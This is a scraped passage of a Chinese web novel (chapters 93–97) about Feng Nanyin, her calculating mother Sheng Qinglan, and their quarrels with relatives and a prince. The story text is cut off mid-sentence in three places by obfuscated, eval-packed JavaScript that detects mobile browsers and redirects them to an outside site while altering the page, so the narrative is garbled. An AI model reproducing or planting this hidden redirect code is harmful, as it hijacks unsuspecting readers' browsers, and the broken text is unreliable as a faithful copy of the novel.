“二小姐,您做什么去?” 凤南茵回头,看了一眼盛青岚。 “师伯还在等我,这么久了,我怕他着急,娘亲醒来叫她安心,我在石门府等她。” “二小姐,夫人身体都这样了,您还要先走?” 先前说的那些话,二小姐一句都没听进去吗? “师伯于我,相当于有救命之恩,我和大姐走投无路时,是他收留了我二人。我自然是在乎母亲身体的,可她身边还有你和庶妹,师伯现在只有我能帮他。” 她走的头也不回,不是因为心狠,是因为娘亲骗她,让她伤心了。 娘的试探,娘的算计,和凤南蓉是那样的像,她们对自己都没有真诚。 她怕了这种的虚情假意,从逃离养父母身边的那一刻,她就怕了这种虚伪的情意。 宫良在马车上等了许久,以为她不会走时,凤南茵爬了上来。 “师伯等急了吧,我们走吧。” “好。” 宫良见她回来,说不出的高兴。 马车轮滚滚,二人趁着时间还早离开京城。 一路上,凤南茵都很沉闷,一张小脸似僵住了一样,没有表情,这哪是一个孩子该有的样子。 宫良一眼就看出她有心事。 “有心事都不告诉师伯了?一个人憋在心中可不好。” “师伯,我想知道,这世间爹娘与子女相处该是什么样子的?先前我觉得她很好,待我好,会关心我,会给我银子。可是相认后,为什么我有一点害怕,不想留在她身边?” “那她说了什么,让你有这种感觉?” 凤南茵垂下头,“其实没有说什么,我就是心里没办法相信她。可能,可能……” 她把与娘亲相处说的话全部学舌了一遍。 “师伯,是不是我想得太多了?养爹娘哄骗我,为了是将我当两角羊卖了。凤南蓉对我好,是在利用我。我,我没办法相信她。” “所以,我趁着她睡着了就走了,她醒来一定会很生我的气吧?” 宫良心疼的不行,小丫头受了太多的苦了。 “师伯不了解凤夫人的品性,不好给你做评断,但她若真的爱你,便不会气恼你。这世间没有一个父母会真心怨怪子女,况且是你给了她安顿休息的条件。” “可她装晕只是不想我离开,可我却逃跑了。” 娘亲醒来一定很失望,她还抱怨娘亲待她不亲,自己做的也不对。 宫良到底比小丫头经历的多,见惯了后宫妃嫔为了生存、争宠用的伎俩。 他冷静下来思考了一会,道:“你还有一个中过举子的大哥是吧?” “恩,我没见过他,但是凤南蓉很崇拜他,说他学问好,有见识,院试是案首。” “那就不用怕了,凤夫人不想离京,怕是还想见靖王一面,只要你装作与靖王关系很好,凤夫人就算再怪你,也不会责骂你的。” “为了大哥吗?可她为什么不直说,非要用装晕来吓我?” 第九十三章盛氏的底牌 宫良将准备好的果匣推到她面前,丫头忙了大半日没吃一点东西,肯定饿坏了。 “感情都是要相处的,你对我以诚,我报以真心。你只是被自己信赖的人欺骗怕了,才会多想。而她做命妇多年,以往的待人的方式一朝一夕无法轻易改变,你不习惯她的作法,这才让你多心了。” 凤南茵更纠结了。 “那我这一走,她岂不是对我更失望了?” 宫良捋了捋花白的胡须,轻轻摇头,“师伯没有孩子,也说不清这种亲情相处关系,但师伯说过,这世间唯有利益相处,才会长远。” “亲人之间也要利益?” “一只巴掌伸出来,五指还长短不一呢,做长辈子自然会偏疼她更喜欢的那个孩子。但是南茵啊,师伯希望你记住,不管她待你如何都不要太在意,只要将自己的价值体现到最大,便没有人敢轻慢你。” “我尽量不多想吧。” 宫良也只能这样劝她,希望她能想开。 凤南茵皱着一张小脸,还是很难受。 慢慢地,她才想开。 师伯说的对,既然从小到大都没有长在娘亲身边,就不该奢望她能像对待凤南蓉那样对自己。 是自己想要的太多了。 若是换作她,怕也会喜欢最聪明,最漂亮,最能干,与自己最贴心的孩子吧。 她做不到这些,那就努力发挥自己的价值。 到这个时候,凤南茵还是渴望得到娘亲的另眼相待,但她不想再像从前那样一味的讨好了,凤南蓉给她了太多教训,师伯说的才是最有道理的。 …… 盛青岚身子不舒服,睡了一会就醒了。 看了一眼身边,只有古嬷嬷在。 “给我吃口茶。” 古嬷嬷点打着瞌睡坐在春凳上睡着了,听到夫人叫立即醒了。 “夫人可是睡好了?” 盛青岚感觉呼吸都像在喷火一样,喉咙也不舒服,又哪里能睡好。” “总是睡不安生,这副身子也不知什么时候能真正好起来。” “夫人,大夫来过了,开了药,说您身子并无大碍,现在后厨已经熬了药,吃上几副,慢慢调养就能恢复从前了。” 她又道:“三小姐和四小姐身体太弱,在牢中受了寒,怕是要落下病根,日后来葵水的时候要遭些罪了。至于徐姨娘和鸫哥儿……” “不必与我说这些。” 老爷都不在了,这些个庶子和贱妾都死了才好。 “南茵呢?” 醒来没看到她,这心里隐约觉得不爽利。 古嬷嬷面露难色,“二小姐她,她回石门府了。” 盛青岚满心以为自己都晕倒了,南茵必会留下来。 结果太出乎她的预料,忍不住气得全身发抖,“不是自己养大的,总归是不能期盼太多,我都这样了,她这说走就走了?” 古嬷嬷在旁劝着,“二小姐对夫人您很好了,她这些日子毕竟是受宫大夫照顾,不好过河拆桥,夫人想开些就是了。” 盛青岚叹气,“我何尝不晓得,总归是失望多一些,若她心里有想让凤府重回昔日风光,就该站在我的立场,想尽一切法子用力才对。” 古嬷嬷没再说话,在她看来,夫人这是在给二小姐压力,即便大公子在京城,想重回过去的荣光,又哪是那样的容易。 盛青岚恼归恼,一想到那么多张嘴要倚靠她,还有泽宇与蓉儿将来的婚事,她也得强打起精神,担起一家主母的责任。 她要强了一辈子,哪怕还有弟弟做倚靠,也不想让人看扁了去。 “嬷嬷,一会用完膳,你去雇一辆马车吧,趁着天黑下来,你陪我回一趟南苑。” “夫人,您这身体能吃得消吗?” “无碍。” 等把藏在南苑的银钱拿回来,再回石门府置办些田产,解决了后顾之忧,这心才能安定下来。 “对了,我们出去的事不要让旁人知道。” 半个时辰后,借着大家吃过东西回房休息,盛青岚带着古嬷嬷坐上马车,去了南苑。 既然早就预料到国公府会出事,她怎么可能没提前多做准备。 她深知不能将鸡蛋放在一个篮子的道理,所以南苑也藏了些。 这些年国公爷贪墨的银子大半都在她手中,收受的贿赂,古玩字画被她以盛宝珠的名义早早存在钱庄。 银两不好转移,抄家时太多银钱对不上账,反而引起人怀疑。 但她的嫁妆,以及这些年攒下的珠宝就不一样了。 这处小院不大却很精致,留了信得过的老奴守宅子,这会她来,很容易就敲开了门。 程伯早年被盛氏救过性命,没有儿女亲眷倚靠,让他留在这里看宅子,盛青岚很放心。 “出事后,官府的人可来过这里?” 程伯年近七十了,脊背塌的厉害,听夫人寻问,忙道:“来过三次,那些官兵凶神恶煞的,咱们说这宅院是侯府产业,可他们依旧隔几日就会来。” “他们里外搜查,打砸了不少东西。老奴敢怒不敢言,修缮了一些,破坏的狠的只好丢了。” 盛青岚看出窗棱被人砸损过的痕迹,进了内堂,这里原本摆放的上好楠木家具也被破坏了。 她暗暗攥紧了手掌,可她如今对这些除了难过,无能为力。 “拿个铁镐过来吧。” 程伯不知她要干什么,还是听命照做了。 盛氏带着人到了后院,让程伯在墙边两棵丁香树之间开始刨坑,不一会就挖出一个匣子。 “夫人,这里怎么有东西?” 这匣子是什么时候埋进去的他都不知道。 盛青岚叫他不要声张,拿出油纸包的木匣回了内堂,将门关好,这才在贴身的小衣里拿出一个精小的钥匙。 这钥匙小,当初被她藏在了腿脚里才没被搜查走。 看到匣子里的东西都在,长长轻了一口气。 鸽子大的南珠,古玉镯,掐丝珐琅彩的头面、发钗…… 这些东西虽好,暂时却不顶用,她将珠宝一件件拿出来,打开里面的暗格,厚厚一摞五百两一张的银票压在下面。 瘦死的骆驼比马大,说的就是她如今的现状。 她从一摞银票当中抽出五张放在身上,将匣子装好,这才出来。 古嬷嬷和程伯都等候在门口。 盛青岚看了一眼程伯。 “程伯,这些年你跟着我不容易,不日我就离开京城,以后怕是不回来了。这银子留给你养老,我来过的事情不要对外声张。” 程信伯拿着银票,忍不住拾起袖子擦眼角。 “夫人,老奴哪花得完这么多的钱。” “回去吧,记住我说过的话。” 古嬷嬷见夫人出手如此阔绰,想来那匣子里装的银钱不少。 她不解,“夫人,您既然还留了一手,为何还要收回给二小姐的银钱?” 她一个做下人的都看出来了,就因为夫人试探二小姐,二小姐才对夫人有了隔阂的。 “那丫头是个胆大有主意的性子,早前没想过咱们还有出来这一日,留给她是想做些弥补,现在你也看到了,她与外人都比对我亲,我也是怕这些银钱被有心人骗了去。” 古嬷嬷:“夫人现在有银子了,下一步什么打算?” 第九十四章凤夫人自以为是,却是自取其辱 如今国公府落到这等田地,盛青岚根本不想认命。 哪个当官的不贪,不过是得罪了人,着了人家的道,没有拜对神仙罢了。 凤南茵与她心不在一处,那她就自己去寻求门路,今日靖王帮忙解围,就是最好的契机,她相信自己也能办成此事。 “到万利钱庄。” 万利钱庄对客人隐私保管得极好,不会泄露她的秘密。 古嬷嬷应着,“夫人想的周道,如今这么多银钱放在身边可不安全,是该先存起来。” 盛青岚却是有另外打算,她花五十两银子买了一个嵌贝母牡丹图纹楠木匣子。 她将十颗南珠很是不舍地放在匣中,这珠子是当年她生下泽宇,国公爷寻了半年时间凑齐送给她的。 除了珠子自身名贵,更是象征着她们夫妻之间鹣鲽情深。 当年小姑子入宫,婆母向她讨要过一回,她没有给。 后来小姑子生了皇子册封为妃,有意想要珠子给孩子压惊,她同样没给。 现今她再不舍,也要拿出来了。 已经过了酉时,靖王府门前停了一辆简易马车。 门上的人看到这个时辰上门的妇人,不耐烦。 “何人?” 盛氏面色尴尬,国公夫人这个身份是再不能用了。 但是为了见靖王,她必须上前。 “妇人盛氏求见王爷。” 门人一听她家连官身都没有,挥手:“当这是哪里,什么人都能凑上前,再不走开咱们就**了。” 盛青岚臊得脸红,又道:“臣妇在闺中曾与德妃是蜜友,晓得娘娘生辰要到了,特意前来送贺礼。” “认识娘娘?送贺礼?” 那人下了石阶,接过匣子打开来瞧。 盛氏信心满满,得意地看着门上的人,没见过这么名贵的宝贝吧! 这一次,她一定能成功。 门上的人看不出她身份,担忧得罪不该得罪的人,话语软和了些,“王爷在会客,容小的去通禀,你稍后。” 古嬷嬷长长松了一口气,“吓死老奴了,还以为咱们连这第一步都行不通呢。” 盛氏得意,她送出的东西,也不是随处可见。 “财帛动人心,就算是王爷,这南珠也不是有权有势就能寻到,德妃睡眠一向不好,珍珠有镇心安神的作用,他一定会收下的。” 只是为了见靖王一面,付出的代价有一点大。 明明有更好的路子,都怪那丫头与自己不贴心,不由得对这个女儿又生了三分恼意。 靖王此时正与魏锦、奚子明一处吃酒。 席子明的伤没有大碍了,慢慢恢复中。 安国公栽赃朱家一事,暗中牵连出安王居心叵测,依着贵妃与余家的性子,必有下一步动作,他们得做好应对。 这时,凌鹤抱着一个锦盒进来。 “王爷,门房来报,一位姓盛的夫人送来一匣南珠,说是娘娘的挚友,赠予娘娘的生辰礼。” 时景轩瞥了一眼匣子里的珍珠,也是挑了挑眉。 “盛氏?” 奚子明当下猜到是谁,“这位前国公夫人还真是急性子,我这前脚才收到下人告知她在钱庄存了十万两银票,一匣珠宝,后脚她就来探王爷的门路了。” 魏锦不由得摇头,“当真小瞧了这女人,家道中落,她还能拿得出这般阔绰之物。” “可惜,她这般舍得,在这时候登门送礼,却是要陷王爷于麻烦之中。” 靖王不屑地盖上盒子,骂了一句。 “蠢妇!” 安国公一死,背后牵扯之事甚多,这时四哥不知派了多少眼线盯着,她就这样明晃晃上门给他找麻烦。 “让她回去,告诉她,念在她昔日与母妃的情份,这份心意就收下了,不要再奢想其它,守好本份才是她该做的。” 魏锦无奈地叹了一口气,“活了一把年纪,还没一个丫头识大体。” 王爷骂她蠢,也不活该。 时景轩却是听出了门道:“你晓得什么?” 魏锦尴尬地咳了一声,“接凤府的马车夫是我的人,路上他们的谈话我知晓一二。” 靖王并不意外,魏锦在他身边负责的就是打探消息这一块。 魏锦将自己探子禀告给他的事情全部学舌一遍,嘲讽道:“她应该是想借凤丫头的名义见您,结果那丫头背着她回石门府了,这才送来一匣子南珠亲自寻了来。” “她不会是想将长女送给王爷,以寻靠山吧?” “真是狗嘴,学会打趣本王了?” 魏锦撇撇嘴,“我可不敢,不过王爷您想,她想翻身,还有什么是比嫁女来得更捷径的。” 靖王用你自己体会的眼神看着兄弟,这种不靠谱的话再敢多说一句,他就不客气。 魏锦感觉脖子上凉飕飕的,忍不住摸了摸。 “我去看看,你们坐。” 盛青岚在大门外侯了许久,这种冷遇是从未受过的,如今只能等。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这话是告诉听墙角的人,王爷与国公府的牵扯皆因公事,于私也只有德妃那边才有情份。 而这些话听到盛氏耳朵里,虽比那小厮说的要好听些,同样在表达靖王要与凤家人划分界线。 她强撑着体面,回了一礼。 “王爷帮民妇解围,总该登门相谢,是民妇一时忘记身份,日后不会再来打扰。” 她几乎是软着身子坐进的马车,古嬷嬷见夫人受打击,担心的几乎落泪。 盛青岚却在这时开口。 “回石门府,现在就走。” 第九十五章凤南茵与吴氏撕破脸,针锋相对 遇事不惊,万事皆能隐忍的一个人,今个怎么就乱了方寸? “老奴知道,今日之事您受了打击,可您在这时出城,不说天黑路上不安全,就是到了石门府,城门也关闭了,夫人您这是怎么了?” 盛青岚只觉得心口堵着一口气,让她憋闷的喘息不过来。 她努力让自己镇定下来,“是我急切,将一切想当然了。” 翌日。 保和堂门前车来车往,药行的掌柜忙得人头攒动。 这时,一辆奢华宝蓝华盖马车停在药铺门前,挡了下人搬运货物的道。 吴惠兰由婆子搀扶着下来,冷傲地道:“都让到一边去,沾了本夫人一身的土。” 凤南茵料到她会来,可这会却是不怕了。 “侯夫人,铺子这会正忙,没时间待客,还请你将马车向前移,别挡了咱们生意。” 吴惠兰冷笑,“小丫头,你好大的胆子,敢诓骗本夫人。” 凤南茵立在那里,原本灵动的眸子此刻沉静如水,无波无澜。 凤南蓉想到八号那天舅母来接人,结果扑了个空,将脾气都撒在她身上后,在一旁帮腔。 “妹妹,还不给舅母认错,咱们带你回侯府是让你享福,你怎么能躲起来。” “不识好歹的丫头,我能吃了你怎么成,叫你回去当千金小姐,还不是为了你好,你想一辈子在外面女扮男装,抛头露面?” 门口全是看热闹的人,听了侯夫人的话,才知道保和堂的小药童是女娃娃。 “我就说这孩子怎么漂亮的有些过了,竟然是女娃。” “哎呦,要是女娃还是安生养起来才好,这样抛头露面,可不安全,将来也不好嫁人。” 吴惠兰得意,“瞧瞧,不是我一人这样说吧,大家伙不都是这样认为的。” “对呀妹妹,舅母为了你好,你躲什么呀。” “你们要是真为了她好,就不会大吵大嚷的将她是女娃的事情往出说。” 宫良才从后院点完货回来,就见这难缠的二人又来了,厌恶的紧。 吴惠兰一想到自己白扑了两天空,都是这个老头捣得鬼,便在一旁阴阳他。 “你又是什么东西,竟然敢教训侯府夫人,你知道她是个女孩子,孤身一个老头子还蛊惑着将人留在身边,你安的龌龊心,简直叫人恶心。” 言外之意,是在嘲讽宫良是个老流氓,诱拐少女,生了男女之间的歹念。 “你,你这个人的嘴巴怎么那么恶毒。” 他半截身子入土的人了,被人嘲讽两句没关系,怎么可以让一个女娃娃受这等羞辱。 凤南茵差点没被侯夫人含沙射影的话恶心吐了。 骂她可以,但是侮辱师伯绝对不行。 “吴惠兰,你这个恶毒的女人又有什么资格和立场在这里污蔑我师伯。” “你敢骂我?我是侯府当家主母,是你舅母,你怎么可以这样粗鲁,毫无女子该有的矜持娴静,没教养。” 凤南茵本就不是绵软的性子,只是平日里会对自己的人隐忍。 可是对居心叵测的人,便没有留情面的必要,何况她现在可不怕得罪眼前人。 “尊重和脸面不是别人给的,是自己挣的,你先不要脸,别怪我把你的另一半脸皮也撕下来,贴在另一边。” 什么意思? 吴氏竟然没听懂。 一旁与保和堂合作的商老板忍不住笑,“这不是一边不要脸,一边二皮脸了。” 凤南茵嗤了一声,“她就是这样的人。” “你,你敢忤逆我,信不信我现在就替你娘好好教育你!” 凤南茵躲开婆子拉扯,眼神如刀,射向吴氏。 “大家有可能不知道,这位高高在上的侯府大夫人,其实是一个表里不一、虚伪至极之人。” “当初凤南蓉被官兵追查,我带着她投奔侯府的时候,这位侯夫人得知是安国公府外逃的外甥女,怕惹上是非将我二人扫地出门。” 吴氏慌乱看着众人,婆子也要上前来捂凤南茵的嘴。 可凤南茵身子瘦小,人也灵活,一下子就躲开了。 她继续指出吴氏的虚伪,“那时我们身无分文流落街头,你咋不说是我舅母?” 人群一下子炸了。 天啊,安国公府在逃的大小姐果然来我们石门府了! 两千两赏银呢,这还不去报官。 凤南蓉万万没想到,凤南茵会在大庭广众之下揭穿她的身份。 当即吓得花容失色,声音都变了调。 “?冬你在胡说什么。” “我胡说?凤南蓉,你像乞丐一样蹲坐在街头的窘迫,你也忘了?要不是师伯怜我们,给了你一个安身之所,你能活到现在,带着人来欺负我师伯。” “我不是,我不是凤南蓉,我是盛宝珠,她在胡说,她在骗人。” 吴惠兰也乱了阵脚,这丫头想死别拉上侯府,私藏朝廷**,那是要诛九族的。 “你与那老头没事,解释清楚就好,你怎么能给侯府叩这样的罪名,她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242529|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我侄女,和安国公府半毛钱关系没有。” 凤南茵等的就是她这句话。 “呸,什么叫没事,宫大夫是我阿爷的师兄,是我至亲之人,我不许你再胡说八道。还有,你说她是侯爷的侄女,姓盛?” “对,对啊!” 凤南蓉强撑着镇定,嗓子眼都在打颤。 吴氏感觉自己捅了马蜂窝,惹了一身的包。 她忙辩解,“大家都知道,安国公府只有一位嫡出大小姐,这是宝珠的妹妹,所以这身份肯定是对不上,哪来的凤家女。” “哦,凤南蓉没有妹妹,那你来这保和堂找我的晦气做什么?盛宝珠就有胞妹吗?” 凤南蓉自乱阵脚,只想撇清罪名。 “你,你是我的婢女,私逃出府,现在夫人要抓你回去,你别再胡言乱语。” “一个说我是姐姐,一个又说是我舅母,这会又说我是婢女。” 她讥讽不已。 “**契呢?文书呢?” 凤南茵问众人,“大家看到了吗?这二人满嘴谎言,无法自圆其说,像她们这种人凭什么站在别人的药堂,颐指气使,污蔑他人!” 看热闹的大多是来保和堂合作的,自然是向着宫大夫这边。 “咱们认识宫大夫十几年了,这人品没得说,刚刚夫人的话严重了。” “这不是想权势压人吗?难不成是想占保和堂便宜?” “这灾荒年间谁家不难,人家保和堂可是救了不下一百人了,难不成是想贪保和堂的声誉?” “哎呦呦,还真是人面蛇心。” 吴惠兰在石门府低微遵从,高高在上。 今个被这些低贱的商贾嘲讽,只觉得面皮都被刮下来。 “侯夫人没事还是走吧,别来打扰人家做生意了,这不是自损身份吗。” “话说,这位小姐到底是姓凤,还是姓盛啊?两千两打赏咱们是不是去揭发一下?” 凤南茵心虚,扯着吴氏想尽快离开。 吴惠兰瞪了她一眼,“今天丢了这么大的脸,都是因为你,不将那个贱丫头带回去,看我怎么收拾你。” 凤南蓉身子抖索一下,舅母这是撕破了脸,她不要嫁表哥,那这辈子就真的完了啊。 “?冬,我知道你一直气我和你耍姐姐的脾气,是我错了,我们单独说几句话好吗?别当着外人面闹了。” 她已经受不了了,眼泪啪嗒啪嗒往下落,好不楚楚可怜。 凤南茵:“……” 又来这招? 第九十六章**诛心 凤南蓉努力向众人解释,“这其中的误会太多,不是一句两句能解释清楚的,但是大家相信我们,夫人和我都没有说谎。” 凤南茵嘲讽笑笑,“公道自在人心,大家有眼睛,有耳朵,都能看出你心虚。” 她扯开凤南蓉的拉扯,“我在保和堂住得好,吃得好,师伯待我也好,我就不回侯府浪费粮食了。” 她想彻底摆脱二人,又道:“对了,安国公府的家人都被放了,很快你也不需要寄人篱下了。” 吴惠兰瞪大眼睛,这可不是一个好消息,那她图谋的岂不是要打水漂? “此事当真?” 凤南蓉没想到国公府的人已经无罪了。 “真的?你没骗我?” 相比吴氏的暗恼,她要开心**,那她岂不是也无罪了? 想到刚刚她还担心被抓,原来都是虚惊一场。 “你为什么不早说,你故意耍咱们?” 害她刚刚白白担心一场,连身份都不敢承认,被人看了笑话。 若是早说出来,以她国公府嫡女的名头,就能让那些嘲讽的人都给她闭嘴。 凤南茵勾起一抹嘲讽的笑,“若不是你算计我在先,我又怎么会戏耍你。” “我哪里戏耍过你,接你回侯府还不是为你好?” 她转身不再看凤南蓉,“你走吧,那些银子我会还回去,我这里再没有你图谋的价值,以后不要再来烦我。” 凤南蓉没想到她舍得将到手的银子交出来。 “你说的是真的?你真舍得?” “我不是你,我更喜欢在有价值的事情上努力,身外之物我自己会赚。” “切,说的那么高傲,我就等着你会不会身体力行。” 凤南蓉现在谁也不怕了,她又做回那个高高在上的国公府嫡女了。 死丫头不回来影响她心情最好不过。 “你放心,日后你不来找我,我绝对不会再来见你。” 她转身就走,忽然想起事情不对,“你说母亲不日来石门府?是来接我的吗?” “是吧!” 凤南蓉脸上的得意几乎遮掩不住。 “舅母,你听到了吗?爹爹无事了,我就知道他是被人冤枉的。” 她喜极而泣,“不日我就能回京了。” 吴氏脸色难看,脸拉得驴一样长。 凤南茵看着二人的表情,忍不住想笑。 报复一个人,不一定是对她如何,将一个心高气傲人的期盼捏碎,才是更致命的。 “凤府族人是放出来了,但不是无罪了,而是被赦免了,这世间再没有安国公。” “毕竟是被抄家的人,出狱的时候身上只有我送过去的袄子,人人一身病,需要好好休养。” “姐姐你要做好心理准备,毕竟丫鬟仆妇都遣散了,你是一家长女要照顾好她们的身体才是你该面对的。” 她说完这些,用眼神打量吴惠兰,后者一脸的嫌弃。 凤南茵心下好笑,“嫌弃就对了。现在可是灾荒年间,一听说凤夫人身无分文回来,怎么可能不嫌弃。” 凤南蓉则是一脸天塌的表情。 “不可能,你骗我的对不对?你怎么知道这些?” 凤南茵现在只想二人快点走,也不和她们废话。 “人出狱的时候,是我和师伯接出来的,住宿的问题也是师伯帮着解决的,师伯为了毫不相干的人尽心尽力,你们不感谢就算了,还要被你们诽谤。” 周遭又是一阵议论声。 吴惠兰满心都是疑惑,侯爷都不知安国公被赦免,这小丫头竟然提前知晓且进了京,看来是她小瞧了这个商户贱民。 今天丢了面子,也顾不得找补回来,这事得回去好好谋算一下,可不能让大姑姐带着那么多张嘴住进府里。 “国公府被赦免是好事,我们得回府尽快准备一下,接她们回来好生调养才行。” 她看了一眼凤南茵,“既然我的好心你当算计,那就让你娘来接你,你一个女儿家住在外面,你娘不可能同意,我等你着你跪在我面前磕头认错。” 她说完,高傲转身离开。 宫良对着她们的背影呸了一口。 “她以为凤夫人日后要仰人鼻息过活,你也得听她的,真是打的如意算盘。” 可是话说回来,官大一级压**,更何况他们只是民。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242530|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 药堂忙了整日,进货的人都散了后,宫良早早闭了店。 他脸色沉沉,心事重重。 “师伯,你在担心什么?” “丫头,师伯没用,护不住你,凤夫人回来后执意接你回去,师伯是没有资格阻拦的。” 凤南茵给他沏了一壶菊花茶,这茶可去火。 “师伯,我可以和娘亲说我不想回去住,会想办法说服她的。” 宫良心里不好受,南茵要是男娃一切都好说,她是女孩子,自己又是孤寡一人,被带回去是必然。 即便他想闭了店带丫头走,都会被世人不允。 这事让宫良愁眉不展了两日,最终该来的还是来了…… 盛青兰在靖王府前受了辱,终是看清了自己的处境。 身子养了三日,这日终于有了些精神,她将所有人叫到近前。 “徐姨娘,如今国公爷不在了,你还年轻,没必要再留下来守一辈子孤寡,我给你留些银钱,你带着鸫哥儿自己过活去吧。” 徐姨娘不愿,可是看到夫人给了她一千两银子动摇了。 能自己当家做主,谁也不想当奴才,当下欢喜接了银票,“谢夫人,我一定会将鸫哥儿好好养大成人,让他有出息的。” 盛青岚挥手,让她下去吧。 “芊姐儿、烟姐儿的姨娘没撑过难关去了,就留在我身边。” 她又看了一眼两个小的,这都是贱妾生下的,一个七岁一个五岁,她狠心道。 “兵马大将军蒋夫人找童养媳,欢姐儿、巧姐儿留在我身边也无人照顾,便跟着去享福吧。” 凤南欢已经到了懵懂年纪,她抱着盛夫人的腿求着。 “夫人,不要卖了我,我会听话,我不要去别人家。” 盛青岚已经将一切都准备好了,狠心将她推开。 很快有人将二人带走。 马车已经等在外面,盛青岚带着心事重重的凤南芊、凤南烟坐上马车。 三辆马车,徐徐离开。 路过安国公府门前,车帘被人轻轻挑开,盛青岚慢慢收紧手指。 “我一定还会回来的,一定会夺回这一切荣光的。” 第九十七章下面子 盛青岚早两日前就给承阳侯去了信,她要回娘家借住几日,可当马车到了侯府门前,看着紧闭的大门,盛青岚还是止不住心寒。 往年,她回娘家小住,弟弟和弟媳妇都会早早站在府门前,带着一家的子女迎接她,还怕招待不周。 这一次,她同样带了一车的礼物,甚至比昔日带的礼物还要贵重,可是这门前却是冷冷清清。 古嬷嬷搀扶她下车,忍不住担忧。 “夫人,您看这怎么是好?” “去砸门!” 古嬷嬷这手才落到铜环之上,角门便嵌开了一条缝。 她面上一喜,刚要说话,门上的人当下道:“咱们夫人说了,如今姑奶奶没了官身,不能再走正门,这不合规矩,凤大小姐在角门候着呢,夫人转过弯,有婆子给您留门呐。” 那人怕触霉头,瞄了一眼马车前立的着贵妇人,麻利地关上了门。 盛青岚心口钝痛了一瞬,脸面挂不住。 昔日她回娘家,是何等的荣光、遵从,如今她一手扶持起来的弟弟就这样对她吗? “夫人,要不要老奴把门给砸开?” 管家安伯看不下眼了,夫人何时受过这等委屈。 盛青岚看了一眼承阳侯府的匾额,深吸了一口气。 “不用了,转到后门。” 她看了一眼准备一车的礼物,招来安伯。 “你现在去租一个院子,不用多精致,干净够用就好。” “是夫人。” “将这车东西都拉过去。” 安伯看了一眼夫人花了上千两银子置办的布料、各房小主的礼物,心中鄙夷侯夫人的格局。 没眼光的人,气量小的人,果然这日子越过越差。 “老奴这就去办。” 盛青岚又看了一眼畏手畏脚的两个庶女,带着她们只会给自己丢脸,嫌弃道:“将芊姐儿和烟姐儿都带走吧,再让人伢子明日到我近前,该添置的人也不能少了。” “是,老奴这就去办。” 她这才整理了衣裙,坐上马车去了后院角门。 古嬷嬷也憋着一肚子气,这侯夫人真真是过份。 凤南蓉在角门翘首企盼,脸上皆是焦急之色,终于看到马车停下,她心一下子提起来。 就怕看到像叫花子一样的母亲下了马车。 绛紫色金丝刺绣团福裙裾探出马车,盛氏一身颜色暗沉,鬓角一朵白色素绒花,探出马车。 凤南蓉一眼就看到母亲头上那对足金发钗,长长松了一口气。 “母亲。” 她还以为母亲落魄了,若是那般,舅母不知要怎么为难她了。 “母亲,女儿终于又和您见到面了。”她一瞬间扑到盛氏怀里,这些时日受的委屈,担惊受怕总算是挺过去了。 盛青岚看着一身素裙,周身连件像样钗环都没有的长女,心疼地抚摸了一下她的鬓发。 “你受苦了,以后不会再有事了。” 凤南蓉看着母亲这一身的素色,颤抖着唇问:“母亲,父亲他,他真的不在了吗?” 盛青岚想到将棺椁停在义庄的国公爷,眼圈也忍不住酸涩起来。 “南蓉,即便你父亲不在了,母亲同样不会让你受委屈,一会与你舅舅、舅母打过招呼,母亲就接你出来。” 今日能让她从侧门入府,女儿在这侯府的日子怕也不好过的很。 “好,母亲在哪,女儿就在哪。” “你舅母呢?” 凤南蓉垂了头,“在主屋,她说,母亲如今是罪臣之妇,虽然赦免了,终是不能出门相迎,世家大族规矩不可乱。” “呵,好一个规矩不可乱,当真是忘记这侯府的尊荣是怎么保下来的。” 等候在门前的嬷嬷见凤夫人这一身的气派,再不敢怠慢,忙上前来见礼。 “凤夫人,咱们夫人备了上好的膳食、客院,就等着夫人到呢。” 都是活成人精儿的人了,这国公夫人才从大牢里出来,就能穿金戴玉的,这可不是落魄了。 她忙替自家夫人补救。 “还不快一点到主院通知夫人,国公夫人都到了。” 一句国公夫人终是将盛青岚的心情叫熨贴了。 “劳烦嬷嬷辛苦在此陪着长女,古嬷嬷赏。” 古嬷嬷掏出五两银子放在婆子手中。 “哎呦,这怎么使得,这都是老奴该做的。” 古嬷嬷替夫人道,“咱们夫人不再是国公夫人了,日后不要再叫错,虽是如此,该是给你们的也不会短了,拿着吧。” 妇人拿了赏,心下欢喜,嘴像抹了蜜一样,又说了好多奉承话,终是让盛青岚心气顺了。 凤南蓉搂着娘亲的手臂,半挂在她身上,“女儿这些日子担心娘亲,茶饭不思,您受苦了。” “你也受苦了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242531|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 